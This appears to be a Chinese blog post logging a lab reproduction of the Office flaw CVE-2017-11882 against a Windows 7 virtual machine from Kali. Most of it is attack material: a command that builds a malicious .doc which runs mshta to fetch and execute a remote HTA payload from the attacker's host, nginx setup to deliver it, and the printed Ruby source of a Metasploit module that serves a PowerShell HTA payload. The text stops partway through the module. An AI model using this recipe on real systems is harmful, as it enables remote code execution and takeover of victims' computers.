Office隱藏17年的漏洞CVE_2017_11882測試記錄

時間 2019-11-30

標籤 office 隱藏 17年漏洞 cve 測試記錄简体版

原文原文鏈接

Office隱藏17年的漏洞CVE_2017_11882測試記錄

建立時間：	2017/11/25 0:18
做者：	CN_Simo
標籤：	Office漏洞

參考文章1：http://www.javashuo.com/article/p-bjiroqcn-eu.html

參考文章2：http://www.javashuo.com/article/p-zytqlzkv-bw.html

POC地址：https://github.com/Ridter/CVE-2017-11882/

中間環節出現，msf鏈接數據庫失敗的狀況，解決方法： http://www.javashuo.com/article/p-fvuvhbfs-er.html

1.製造條件

這裏搭建兩臺虛擬機進行測試！

測試機配置信息：

操做系統	Win7_x64 企業版
Office版本	Office 2013
防火牆狀態	開啓
IP	192.168.1.103
系統語言	Chinese

操做系統	Kali 2.1 中文
IP	192.168.1.104

首先在kali下安裝nginx，或者tomcat應該也是能夠的，首先將生成的doc文件放在/usr/share/nginx/html目錄下，方便被攻擊的機器獲取doc文件。

啓動nginx服務：systemctl start nginx

使用 Command43b_CVE-2017-11882.py生成doc文件

 
   python Command43b_CVE-2017-11882.py -c "mshta 
   http://192.168.1.104:8080/abc" 
   ;; -o cev2.doc 
  

# 將下載好的漏洞模塊放在msf任意目錄下

 
   root@kali:/# mv cve_2017_11882.rb /usr/share/metasploit-framework/modules/exploits/windows/smb/ 
  

cve_2017_11882.rb的內容以下：

 
   ## 
  
   # This module requires Metasploit: 
   https://metasploit.com/download 
  
   # Current source: 
   https://github.com/rapid7/metasploit-framework 
  
   ## 
  
   class MetasploitModule  < Msf::Exploit::Remote 
  
     Rank = NormalRanking 
  
     include Msf::Exploit::Remote::HttpServer 
  
     def initialize(info  = {}) 
  
       super(update_info(info, 
  
         'Name' => 'Microsoft Office Payload Delivery', 
  
         'Description' => %q{ 
  
           This module generates an command to place within 
  
           a word document, that when executed, will retrieve a HTA payload 
  
           via HTTP from an web server. Currently have not figured out how 
  
           to generate a doc. 
  
         }, 
  
         'License' => MSF_LICENSE, 
  
         'Arch' => ARCH_X86, 
  
         'Platform' => 'win', 
  
         'Targets' => 
  
           [ 
  
             ['Automatic', {} ], 
  
           ], 
  
         'DefaultTarget' => 0, 
  
       )) 
  
     end 
  
     def on_request_uri(cli, _request) 
  
       print_status("Delivering payload") 
  
       p = regenerate_payload(cli) 
  
       data = Msf::Util::EXE.to_executable_fmt( 
  
         framework, 
  
         ARCH_X86, 
  
         'win', 
  
         p.encoded, 
  
         'hta-psh', 
  
         { :arch => ARCH_X86, :platform => 'win '} 
  
       ) 
  
       send_response(cli, data, 'Content-Type' => 'application/hta') 
  
     end 
  
     def primer 
  
       url = get_uri 
  
       print_status("Place the following DDE in an MS document:") 
  
       print_line("mshta.exe \"#{url}\"") 
  
     end